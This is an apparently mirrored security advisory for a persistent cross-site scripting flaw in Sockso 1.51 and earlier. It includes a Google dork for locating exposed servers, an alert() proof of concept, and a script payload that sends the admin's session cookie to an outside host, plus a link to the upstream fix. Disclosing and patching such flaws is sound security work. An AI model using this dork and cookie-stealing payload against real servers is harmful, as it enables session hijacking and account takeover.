Lucene search
K

Sockso <= 1.51 - Persistent XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Sockso music host server <= 1.51 persistent XSS vulnerability

Code

                                                #######################################################################

Application:     Sockso 
                 http://sockso.pu-gh.com
Versions:        &#60;= 1.5
Platforms:       Windows, Mac, Linux
Bug:             Persistant XSS
Exploitation:    remote
Date:            11 May 2012.
Author:          Ciaran McNally
Web:             http://smwyg.com/blog/#sockso-persistant-xss-attack

Google Dork:     inurl:&#34;4444&#34; sockso

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Sockso is a free, open-source, personal music host server for
everyone! It&#39;s designed to be as simple as possible so that anyone with
a mouse and some mp3&#39;s can get their friends listening to their music
across the internet in seconds!&#34;
#######################################################################

======
1) Bug
======

On Registration page (normally @ &#34;4444/user/register&#34;) the username 
input is never sanitized. This is then stored in the database of users 
and displayed in the admin panel & user pages.

#######################################################################

==============
2) The exploit
==============

Using a username value of...

&#60;script&#62;alert(&#39;xss&#39;);&#60;/script&#62;

Or the admin cookie session can also be retrieved by using...

&#60;script &#62;new Image().src=&#34;bleh.com/xss.php?c=&#34;+encodeURI(document.cookie)&#60;/script&#62;


#######################################################################

======
3) Fix
======

https://github.com/rodnaph/sockso/pull/99/files


#######################################################################

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation